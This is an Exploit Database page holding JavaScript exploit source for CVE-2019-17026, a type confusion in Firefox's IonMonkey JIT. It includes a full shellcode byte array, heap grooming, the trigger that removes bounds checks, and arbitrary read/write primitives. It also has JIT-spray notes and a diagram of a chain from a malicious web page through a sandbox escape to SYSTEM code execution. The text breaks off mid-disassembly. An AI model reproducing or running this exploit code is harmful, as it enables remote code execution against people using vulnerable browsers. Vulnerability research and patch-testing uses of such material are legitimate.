Firefox 72 IonMonkey – JIT Type Confusion

• Exploit Database
• 122 阅读

• 作者： Forrest Orr
  日期： 2021-05-13
• 类别：

  • local
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/49864/
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  # Exploit Title: Firefox 72 IonMonkey - JIT Type Confusion # Date: 2021-05-10 # Exploit Author: deadlock (Forrest Orr) # Vendor Homepage: https://www.mozilla.org/en-US/ # Software Link: https://www.mozilla.org/en-US/firefox/new/ # Versions: Firefox < 72 64-bit # Tested on: Windows 7 x64, Windows 8.1 x64, Windows 10 x64 # CVE: CVE-2019-17026 # Bypasses: DEP, ASLR, CFG, sandboxing # Credits: maxpl0it, 0vercl0k # Full explain chain writeup: https://github.com/forrest-orr/DoubleStar   /* ________ ___..__ ___________ \______ \____ __ __\_ |__||____ / _____/_/|_ ____________ ||\/_ \ ||\| __ \ ||_/ __ \\_____\ \ __\\__\ \___ \ |` \(<_> )||/| \_\ \||__\___//\ || / __ \_|| \/ /_______/ \____/ |____/ |___/|____/ \___>/_______/ |__|(____/|__| \/\/\/ \/ \/ Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain   ______________ | Remote PAC | |____________| ^ | HTTPS _______________RPC/ALPC _______________ RPC/ALPC _______________ | firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | |_____________| |_____________| <----------- |_____________| |RPC/Pipe | _______________ | | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM |_____________|   ~   Component   Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack vector when a user visits an infected web page with a vulnerable version of Firefox. This component contains a stage one (egg hunter) and stage two (WPAD sandbox escape) shellcode, the latter of which is only effective on Windows 8.1 due to hardcoded RPC IDL interface details for WPAD.     _______________JIT spray ______________DEP bypass _______________________ | firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape | |_____________|| shellcode| | shellcode (heap)| |____________| |_____________________|   ~   Overview   This is a Windows variation of CVE-2019-17026, an exploit targetting a type confusion bug in the IonMonkey engine of Firefox up to FF 72. Due to specific issues with heap grooming, this particular variant of CVE-2019-17026 only works on versions of Firefox up to FF 69 even though the bug was not fixed until FF 72 and is still technically exploitable on FF 70 and 71.   CVE-2019-17026 represents the initial RCE vector in the Double Star exploit chain. Unlike my re-creation of CVE-2020-0674, which is limited to efficacy in IE/WPAD instances running within Windows 7 and 8.1 (with Windows 10 CFG and WPAD sandboxing being beyond the scope of this project in complexity to bypass) this particular exploit is effective on any version of Windows, including 10 provided that a vulnerable version of Firefox is installed. The reason for this is that presence of (and exploit usage of) a JIT engine in this exploit makes dealing with both DEP and CFG substantially easier.   ~   Design   This exploit contains two shellcodes: an egg hunter/DEP bypass shellcode (which is JIT sprayed) and a primary (stage two) shellcode stored as a static Uint8Array. The stage one (egg hunter) shellcode is responsible for scanning the entire memory space of the current firefox.exe process and finding the stage two shellcode on the heap. This is achieved by prefixing the stage two shellcode with a special 64-bit egg value which this egg hunter shellcode scans for. Once it has found the stage two shellcode, it uses KERNEL32.DLL!VirtualProtect to change its permissions to +RWX, and then directly executes it via a CALL instruction.   The type confusion bug allows for an array boundscheck to be eliminated, thus allowing for an OOB R/W via a glitched array. The nursery heap (where the array is stored) is groomed so that 3 arrays are lined up in memory:   [Array 1][Array 2][Array 3]   The first array is used with the JIT bug to make an OOB write and corrupt the metadata of the second array. Specifically, it corrupts its length to allow for OOB R/W at will (without the JIT bug) which is subsequently used throughout the remainer of the exploit to corrupt the Native Object structure of the third array to build arbitrary R/W and AddressOf primitives.   A JIT spray is then used to spray an egg hunter shellcode (encoded as double floats) into +RX memory, encapsulated in a do-nothing function. The JIT code pointer of this function is leaked and subsequently used with an egg hunter in the JS itself (using arbitrary read) to find the egg which marks the start of the egg hunter shellcode in +RX memory. In this sense, the exploit contains 2 egg hunters: a JS egg hunter which searches for a JIT sprayed egg hunter which in turn hunts for the full (stage two) WPAD sandbox escape shellcode. Once the JIT sprayed (stage one) egg hunter shellcode finds the stage two shellcode, it sets its memory region to +RWX and directly executes it.   ~   Sandboxing   The Firefox sandbox prevents access to the filesystem (besides a special sandbox temp directory) and registry but additionally (unlike IE11 on Windows 8.1) locks down access to the desktop window session (which prevents even a MessageBoxA from popping) and sets a child process creation quota of zero (preventing the creation of child processes). By adjusting the sandbox content level in the FF "about:config" settings some of these features can be disabled for testing purposes. For example, setting the content level down from "5" (the default) to "2" will allow MessageBoxA to pop as well as child process creation, however even when the content level is set down to "0" there are certain protections which will persist (such as inability to access the file system).   One vector however which is not guarded by the sandbox is access to ALPC port objects, which can be used to initiate connections to LocalServer32 COM servers running in external (and potentially non-sandboxed or elevated) processes. This detail is exploited by this chain by utilizing a stage two shellcode which initiates an RPC (ALPC) connection to the WPAD service and triggers it to download and execute a PAC file from a remote URL containing CVE-2020-0674 into its own process (svchost.exe running as LOCAL SERVICE). In this way, the sandbox can be escaped via RPC/ALPC and simultaneously elevated from the current user session (which may have limited/non-administrator privileges) into a sensitive service process.   ~   Credits   maxpl0it- for writing the initial analysis and PoC for CVE-2019-17026 with a focus on the Linux OS.   0vercl0k- for documenting IonMonkey internals in relation to aliasing and the GVN.   */   //////// //////// // Global helpers/settings ////////   // Carefully read the overview comments of this exploit source. This is a simple MessageBoxA shellcode but due to sandboxing will not appear without the steps I outlined. To see the full Double Star exploit chain which can bypass the sandbox in full, read my research on it at: https://github.com/forrest-orr/DoubleStar const Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0xe8, 0x91, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0x86, 0x57, 0x0d, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xde, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x00, 0x00, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0x48, 0xc7, 0xc2, 0x1a, 0xb8, 0x06, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xab, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x48, 0xb9, 0x70, 0x77, 0x6e, 0x65, 0x64, 0x00, 0x00, 0x00, 0x51, 0x49, 0x89, 0xe0, 0x48, 0xc7, 0xc1, 0x6e, 0x65, 0x74, 0x00, 0x51, 0x48, 0xb9, 0x65, 0x73, 0x74, 0x2d, 0x6f, 0x72, 0x72, 0x2e, 0x51, 0x48, 0xb9, 0x77, 0x77, 0x77, 0x2e, 0x66, 0x6f, 0x72, 0x72, 0x51, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc9, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48, 0x85, 0xf6, 0x74, 0x2f, 0x48, 0x8d, 0x5e, 0x38, 0x48, 0x85, 0xdb, 0x74, 0x1a, 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0xa7, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0x8b, 0x36, 0xeb, 0xcb, 0x48, 0x8b, 0x46, 0x10, 0x5e, 0x5f, 0x41, 0x58, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x57, 0x56, 0x48, 0x89, 0x4d, 0xf8, 0x48, 0x89, 0x55, 0xf0, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xd9, 0x48, 0x83, 0xc1, 0x18, 0x48, 0x8b, 0x75, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x70, 0x48, 0x01, 0xde, 0x48, 0x89, 0x75, 0xe8, 0x8b, 0x41, 0x74, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x20, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x5e, 0x24, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x1c, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x31, 0xf6, 0x48, 0x89, 0x75, 0xc8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x18, 0x48, 0x39, 0xf0, 0x0f, 0x86, 0x09, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xe8, 0xf0, 0x00, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x0f, 0x85, 0xd3, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x14, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x0f, 0xb7, 0x04, 0x02, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x89, 0xca, 0x48, 0x31, 0xdb, 0x8b, 0x5d, 0xc0, 0x48, 0x01, 0xda, 0x48, 0x39, 0xc8, 0x0f, 0x8c, 0x99, 0x00, 0x00, 0x00, 0x48, 0x39, 0xd0, 0x0f, 0x8d, 0x90, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfd, 0xff, 0xff, 0x8a, 0x14, 0x08, 0x80, 0xfa, 0x00, 0x74, 0x28, 0x80, 0xfa, 0x2e, 0x75, 0x19, 0xc7, 0x03, 0x2e, 0x64, 0x6c, 0x6c, 0x48, 0x83, 0xc3, 0x04, 0xc6, 0x03, 0x00, 0x48, 0x8d, 0x9d, 0xb0, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc1, 0xeb, 0xda, 0x88, 0x13, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc3, 0xeb, 0xd0, 0xc6, 0x03, 0x00, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfd, 0xff, 0xff, 0xe8, 0x46, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x4e, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfe, 0xff, 0xff, 0xe8, 0x26, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2, 0x48, 0x8b, 0x4d, 0xb8, 0xe8, 0x89, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0xeb, 0x09, 0x48, 0xff, 0xc6, 0x90, 0xe9, 0xe7, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xc8, 0x5e, 0x5f, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x57, 0x48, 0x89, 0xd7, 0x48, 0x31, 0xdb, 0x80, 0x39, 0x00, 0x74, 0x1a, 0x0f, 0xb6, 0x01, 0x0c, 0x60, 0x0f, 0xb6, 0xd0, 0x01, 0xd3, 0x48, 0xd1, 0xe3, 0x48, 0xff, 0xc1, 0x48, 0x85, 0xff, 0x74, 0xe6, 0x48, 0xff, 0xc1, 0xeb, 0xe1, 0x48, 0x89, 0xd8, 0x5f, 0xc3 ]); var JITIterations = 0x10000; // Number of iterations needed to trigger JIT compilation of code. The compilation count threshold varies and this is typically overkill (10+ or 1000+ is often sufficient) but is the most stable count I&apos;ve tested. var HelperBuf = new ArrayBuffer(8); var HelperDbl = new Float64Array(HelperBuf); var HelperDword = new Uint32Array(HelperBuf);   //////// //////// // Debug/timer code ////////   var EnableDebug = false; var EnableTimers = false; var AlertOutput = false; var TimeStart; var ReadCount;   function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); }   function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart);   if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } }   function DebugLog(Message) { if(EnableDebug) { if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } }   /*////// //////// // MIR Boundscheck elimination bug/OOB array logic ////////   This is the primary logic exploiting the vulnerability itself. Fundamentally CVE-2019-17026 is an aliasing bug in the IonMonkey JIT engine: an overly strict aliasing type criteria can cause a potentially dangerous node such as MStoreElementHole to be discarded as a STORE dependency for a sensitive LOAD node such as MBoundsCheck. Thus in the event that a similar MBoundsCheck has already been declared within a JIT&apos;d function, we can trick IonMonkey into believing these instructions to be congruent which will result in the elimination of the second MBoundsCheck by the GVN due to congruence rules: - LOAD instructions may be tied to their most recent STORE instruction as dependencies during the aliasing phase of JIT compilation. - After the aliasing phase comes the GVN phase, which eliminates redundant nodes via congruence rules for optimization purposes. - In order for two matching nodes (such as two boundschecks) to be considered for redundancy elimination via congruence rules they must have matching STORE dependencies. - In a secure engine (such as FF 72+) the MStoreElementHole node will ALWAYS be aliased to its following LOAD instruction regardless of whether operand types are perfectly matching. This will result in a boundscheck following an MStoreElementHole ALWAYS considering it to be a dependency and thus never resulting in boundscheck elimination. - In an insecure engine (such as being exploited here) the MStoreElementHole node will only be aliased to a following MBoundsCheck node if the two meet operand type criteria. - MStoreElementHole can be manipulated into acting upon a different operand type through use of a global sparse array. This will cause MBoundsCheck (which is acting upon a constant array object) to have a different operand type and thus thwart aliasing by IonMonkey. - MStoreElementHole can also be used to trigger side-effects, such as setting the length field of an array to 0 and heap grooming to prepare for an OOB access to this array. - As a result we may modify the .length field of an array prior to accessing it at an arbitrary index despite the boundscheck no longer existing.   The following code demonstrates the bug:   BugArray1[Index] = 4.2; SideEffectArray[SideEffectIndex] = 2.2; BugArray1[Index] = DblVal;   IonMonkey will produce nodes corresponding to these instructions:   MBoundsCheck MStoreElement   MBoundsCheck MStoreElementHole<- This node may trigger side-effects   MBoundsCheck <- This node will be eliminated by the optimizer MStoreElement<- This node will be used for the OOB array R/W   Due to BugArray1[Index] having already been declared (and the boundscheck executed) IonMonkey will eliminate the third boundscheck node. This allows us to use the side-effect triggered by MStoreElementHole to set the modify the BugArray11.length field and perform heap grooming prior to the final BugArray1 access.   The anatomy of an Array involves two data structures: a NativeObject which holds the primary pointers relating to the Array element data, property types, etc.   struct NativeObject { void *GroupPtr; void *ShapePtr; void *SlotsPtr; void *ElementsPtr; // This does NOT point to the element metadata, it points OVER it to the actual element data itself. }   Followed by an element metadata struct which holds data pertaining to the length, capacity and initialization size of the elements data itself:   struct ElementsMetadata { uint32_t Flags; uint32_t InitializedLength; // The number of elements actually initialized (will be 0 when Array first declared). If you do Array(50) then set index 20 to something, the length will become 20 (and 0-19 will be allocated but marked uninitialized). uint32_t Capacity; // Storage allocated for the array uint32_t Length; // The literal .length property. Thus Array(50) even though it has an initialized length and capavity of 0 would have a length of 50. // ... }   Followed finally by the actual element data of the array, which is pointed to by the NativeObject.ElementsPtr.   The bug is converted into exploit primitives R/W/AddressOf by setting up 3 arrays in memory prior to executing the JIT bug:   BugArray1 = new Array(0x20); BugArray2 = new Array(0x20); MutableArray = new Array(0x20);   This will eventually result in the following memory layout in the nursery heap:   [BugArray1.NativeObject][BugArray1.ElementsMetadata][Element data][BugArray2.NativeObject][BugArray2.ElementsMetadata][Element data][MutableArray.NativeObject][MutableArray.ElementsMetadata][Element data]   Thus the OOB array access (via the JIT bug) will be used on BugArray1 to overwrite BugArray2.ElementsMetadata. Subsequently, BugArray2 may be used to make OOB R/W at will (without the need to repeat the JIT bug) and overwrite the MutableArray.NativeObject in order to build the primitives for the remainer of the exploit.   Prior to doing this, it is essential to do some heap grooming to prepare for the OOB array access from BugArray1 to corrupt BugArray2.ElementsMetadata. Re-visiting the vulnerable JS code:   BugArray1[Index] = 4.2; SideEffectArray[SideEffectIndex] = 2.2; BugArray1[Index] = DblVal;   Access to the SideEffectArray may be used to trigger some arbitrary code of our choice prior to the second (vulnerable/no boundscheck) BugArray1 access. This is used to set the .length field of the BugArray1, BugArray2 and MutableArray arrays to zero and trigger the garbage collector. After doing so, these three arrays will appear on the nursery heap as follows:   000000000B5BF100000000000B5A5A60<- BugArray1.NativeObject 000000000B5BF108000000000B5C21C8 000000000B5BF1100000000000000000 000000000B5BF118000000000B5BF130<- BugArray1.NativeObject.ElementsPtr 000000000B5BF1200000000000000000<- BugArray1.ElementsMetadata 000000000B5BF1280000000000000006 000000000B5BF130FFFA800000000000<- BugArray1 raw element data 000000000B5BF138FFFA800000000000 000000000B5BF140FFFA800000000000 000000000B5BF148FFFA800000000000 000000000B5BF150FFFA800000000000 000000000B5BF158FFFA800000000000 000000000B5BF160000000000B5A5A90<- BugArray2.NativeObject 000000000B5BF168000000000B5C21C8 000000000B5BF1700000000000000000 000000000B5BF178000000000B5BF190 000000000B5BF1800000007E00000000<- Overwritten BugArray2.ElementsMetadata (note QWORD index 10 from the start of BugArray1.NativeObject.ElementsPtr) 000000000B5BF1880000007E0000007E 000000000B5BF1900000000000000000<- BugArray2 raw element data 000000000B5BF1980000000000000000 000000000B5BF1A00000000000000000 000000000B5BF1A80000000000000000 000000000B5BF1B00000000000000000 000000000B5BF1B80000000000000000 000000000B5BF1C0000000000B5A5AC0<- MutableArray.NativeObject 000000000B5BF1C8000000000B5C21C8 000000000B5BF1D00000000000000000 000000000B5BF1D8000000000B5BF1F0 000000000B5BF1E00000000000000000<- MutableArray.ElementsMetadata 000000000B5BF1E80000000000000006 000000000B5BF1F00000000000000000<- MutableArray raw element data 000000000B5BF1F80000000000000000 000000000B5BF2000000000000000000   This layout is then used in conjunction with the JIT bug to begin the array corruption. */   // Note that these arrays cannot be declared as vars SideEffectArray = [1.1, 1.2, , 1.4]; // MStoreElementHole access to a global sparse array is the unique edge case causes aliasing with MBoundsCheck to fail due to operand type mismatch BugArray1 = new Array(0x20); // This array will be used (after heap grooming) to make the OOB overwrite of BugArray2.ElementsMetadata. The heap grooming requires the .length be set to 0, but the length will not matter due to boundscheck elimination (the capacity however still will). BugArray2 = new Array(0x20); // This array will be used to read and set pointers reliably and repeatably in MutableArray MutableArray = new Array(0x20); // The NativeObject of this array are corrupted to build the exploit primitives   SideEffectArray.__defineSetter__("-1", function(x) { // Side effects called for OOB SideEffectArray access at index -1 // Key to understand here is that setting these lengths to 0 and having GC manipulate them into pointing at each other could be done without the boundscheck elimination bug. The boundscheck elimination bug however is what allows them to actually access each other, as it is necessary to set .length to 0 to do the GC trick and the boundschecks are based on .length. Note that access to all of these arrays will still be limited by their capacity metadata field despite elimination of their .length boundscheck. BugArray1.length = 0; BugArray2.length = 0; MutableArray.length = 0; GC(); });   function GC() { // Call the GC - Phoenhex function BufSize = (128 * 1024 * 1024); // 128MB   for(var i = 0; i < 3; i++) { var x = new ArrayBuffer(BufSize); // Allocate locally, but don&apos;t save } }   function BuggedJITFunc(SideEffectIndex, Index, DblVal) { // Removes future bounds checks with GVN   BugArray1[Index] = 4.2; BugArray1[Index - 1] = 4.2;   // Triggers the side-effect function when a -1 index provided   SideEffectArray[SideEffectIndex] = 2.2;   // Write OOB and corrupt BugArray2.ElementsMetadata. Normally boundscheck would prevent this based on .length. Note that despite the bugged elimination of this check, access is still limited to the BugArray1.ElementsMetadata capacity metadata field.   BugArray1[Index] = DblVal; // Corrupt the BugArray2.ElementsMetadata capacity and length element metadata - 0x7e 0x00 0x00 0x00 0x7e 0x00 0x00 0x00 BugArray1[Index - 1] = 2.673714696616e-312; // Corrupt the BugArray2.ElementsMetadata flags and initialized length element metadata - 0x00 0x00 0x00 0x00 0x7e 0x00 0x00 0x00 }   for(var i = 0; i < JITIterations; i++) { SideEffectArray.length = 4; // Reset the length so that StoreElementHole node is used BuggedJITFunc(5, 11, 2.67371469724e-312); }   // Call the JIT&apos;d bugged function one more time, this time with an OOB write index of -1. There is substantial significance to using -1 as opposed to some other (larger) index which would still go OOB and trigger a side effect. The reason being that -1 is considered an "invalid index" (not just an OOB index) and is treated differently. OOB writes to the SideEffectArray with valid albeit indexes which will fail the boundscheck restrictions and will not trigger useful side effects. The reason for this being that access to valid indexes will cause the creation of a MSetPropertyCache node in the MIR, a node which is not susceptible to the exploit condition. The MIR instruction chosen to handle the SideEffectArray OOB MUST be MStoreElementHole, and MStoreElementHole will only be selected in the event of an INVALID index access, not simply an OOB one.   SideEffectArray.length = 4; // Reset the length one more time BuggedJITFunc(-1, 11, 2.67371469724e-312);   // Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful.   MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double MutableArray.y = 0x41414141; MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double   /*////// //////// // Arbitrary read/write/address-of primitives ////////   ~ Weak arbitrary read   8 bytes of data can be leaked from the address pointed to by the mutable array NativeObject.SlotsPtr, as this address is interpreted as holding the value of &apos;x&apos; (stored as a double). The drawback is that if the 8 bytes cannot be interpreted as a valid double, they may be interpreted as a pointer and dereferenced. In this sense, some values may not be be readable with this primitive.   ~ Weak arbitrary write   In the same way that the &apos;x&apos; property pointed at by the slots pointer can be used to read doubles it can also be used to write doubles. The only drawback being that the value being written must be a valid double.   ~ Weak AddressOf   The mutable array slots pointer (in its native object struct) is going to be pointing at an array of 3 property values (for x, y and z). Since we are trying to leak the object address (which will be written into the property array slots for x, y or z) as a double, this will cause issues as the JS engine will (correctly) attempt to dereference this address rather than interpret it as a double.   Thus the trick is to set the slots pointer in the mutable array native object ahead by 4 bytes. This the result that the object address (previously only in the "y" slot) can now be partially read (32-bits at a time) from both "x" and "y" and that these values are now certain to be valid doubles.   We can ensure the resulting double is valid by using bitwise AND to filter off the significant bits responsible for differentiating between a valid and non-valid double.   ~ Strong arbitrary read   This primitive solves the issue of attempting to read 8 bytes in memory which may be invalid doubles and thus misinterpreted as pointers (for example if the tagged pointer bits are set).   The solution is to simply create a double float array, and then overwrite its data pointer to point to the precise region we want to read. The key concept here is that it reduces the ambiguity on the part of the JS engine. Since the JS engine knows that the value at this address is explicitly a double float, it will not attempt to potentially interprete it as an object pointer even if those tagged bits are set. */   function WeakLeakDbl(TargetAddress) { SavedSlotsPtr = BugArray2[8]; BugArray2[8] = TargetAddress; LeakedDbl = MutableArray.x; BugArray2[8] = SavedSlotsPtr; return LeakedDbl; }   function WeakWriteDbl(TargetAddress, Val) { SavedSlotsPtr = BugArray2[8]; BugArray2[8] = TargetAddress; MutableArray.x = Val; BugArray2[8] = SavedSlotsPtr; }   function WeakLeakObjectAddress(Obj) { SavedSlotsPtr = BugArray2[8];   // x yz // MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????] MutableArray.y = Obj;   // x yz // MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????]   HelperDbl[0] = BugArray2[8]; HelperDword[0] = HelperDword[0] + 4; BugArray2[8] = HelperDbl[0];   // Patch together a double of the target object address from the two 32-bit property values   HelperDbl[0] = MutableArray.x; LeakedLow = HelperDword[1]; HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues) LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits BugArray2[8] = SavedSlotsPtr; HelperDword[0] = LeakedLow; HelperDword[1] = LeakedHigh;   return HelperDbl[0]; }   ExplicitDblArray = new Float64Array(1); // Used for the strong read ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don&apos;t have to recalculate it each read   function ExplicitLeakDbl(TargetAddress) { WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress); return ExplicitDblArray[0]; }   /*////// //////// // JIT spray/egghunter shellcode logic ////////   JIT spray in modern Firefox 64-bit on Windows seems to behave very differently when a special threshold of 100 double float constants are planted into a single function and JIT sprayed. When more than 100 are implanted, the JIT code pointer for the JIT sprayed function will look as follows:   00000087EB6F5280 | E9 23000000| jmp 87EB6F52A8 <- JIT code pointer for JIT sprayed function points here 00000087EB6F5285 | 48:B9 00D0F2F8F1000000 | mov rcx,F1F8F2D000 00000087EB6F528F | 48:8B89 60010000 | mov rcx,qword ptr ds:[rcx+160] 00000087EB6F5296 | 48:89A1 D0000000 | mov qword ptr ds:[rcx+D0],rsp 00000087EB6F529D | 48:C781 D8000000 0000000 | mov qword ptr ds:[rcx+D8],0 00000087EB6F52A8 | 55 | push rbp 00000087EB6F52A9 | 48:8BEC| mov rbp,rsp 00000087EB6F52AC | 48:83EC 48 | sub rsp,48 00000087EB6F52B0 | C745 E8 00000000 | mov dword ptr ss:[rbp-18],0 ... 00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 <- Note the first double float being loaded into RBX 00000087EB6F5341 | 53 | push rbx 00000087EB6F5342 | 49:BB D810EAFCF1000000 | mov r11,F1FCEA10D8 00000087EB6F534C | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F534F | FF17 | call qword ptr ds:[rdi] 00000087EB6F5351 | 48:83C4 08 | add rsp,8 00000087EB6F5355 | 48:B9 40807975083D0000 | mov rcx,3D0875798040 00000087EB6F535F | 49:BB E810EAFCF1000000 | mov r11,F1FCEA10E8 00000087EB6F5369 | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F536C | FF17 | call qword ptr ds:[rdi] 00000087EB6F536E | 48:BB 9090554889E54883 | mov rbx,8348E58948559090 00000087EB6F5378 | 53 | push rbx 00000087EB6F5379 | 49:BB F810EAFCF1000000 | mov r11,F1FCEA10F8 00000087EB6F5383 | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F5386 | FF17 | call qword ptr ds:[rdi] 00000087EB6F5388 | 48:83C4 08 | add rsp,8 00000087EB6F538C | 48:B9 40807975083D0000 | mov rcx,3D0875798040 00000087EB6F5396 | 49:BB 0811EAFCF1000000 | mov r11,F1FCEA1108 00000087EB6F53A0 | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F53A3 | FF17 | call qword ptr ds:[rdi] ...   Rather than implanting the double float constants into the JIT&apos;d code region as an array of raw constant data, the JIT engine has created a (very large) quantity of code which manually handles each individual double float one by one (this code goes on much further than I have pasted here). You can see this at:   00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141   This is the first double float 5.40900888e-315 (the stage one shellcode egg) being loaded into RBX, where each subsequent double is treated the same.   In contrast, any JIT sprayed function with less than 100 double floats yields a substantially different region of code at its JIT code pointer:   000002C6944D4470 | 48:8B4424 20 | mov rax,qword ptr ss:[rsp+20]<- JIT code pointer for JIT sprayed function points here 000002C6944D4475 | 48:C1E8 2F | shr rax,2F 000002C6944D4479 | 3D F3FF0100| cmp eax,1FFF3 000002C6944D447E | 0F85 A4060000| jne 2C6944D4B28 ... 000002C6944D4ACB | F2:0F1180 C00A0000 | movsd qword ptr ds:[rax+AC0],xmm0 000002C6944D4AD3 | F2:0F1005 6D030000 | movsd xmm0,qword ptr ds:[2C6944D4E48] 000002C6944D4ADB | F2:0F1180 C80A0000 | movsd qword ptr ds:[rax+AC8],xmm0 000002C6944D4AE3 | F2:0F1005 65030000 | movsd xmm0,qword ptr ds:[2C6944D4E50] 000002C6944D4AEB | F2:0F1180 D00A0000 | movsd qword ptr ds:[rax+AD0],xmm0 000002C6944D4AF3 | F2:0F1005 5D030000 | movsd xmm0,qword ptr ds:[2C6944D4E58] 000002C6944D4AFB | F2:0F1180 D80A0000 | movsd qword ptr ds:[rax+AD8],xmm0 000002C6944D4B03 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000 000002C6944D4B0D | C3 | ret 000002C6944D4B0E | 90 | nop 000002C6944D4B0F | 90 | nop 000002C6944D4B10 | 90 | nop 000002C6944D4B11 | 90 | nop 000002C6944D4B12 | 90 | nop 000002C6944D4B13 | 90 | nop 000002C6944D4B14 | 90 | nop 000002C6944D4B15 | 90 | nop 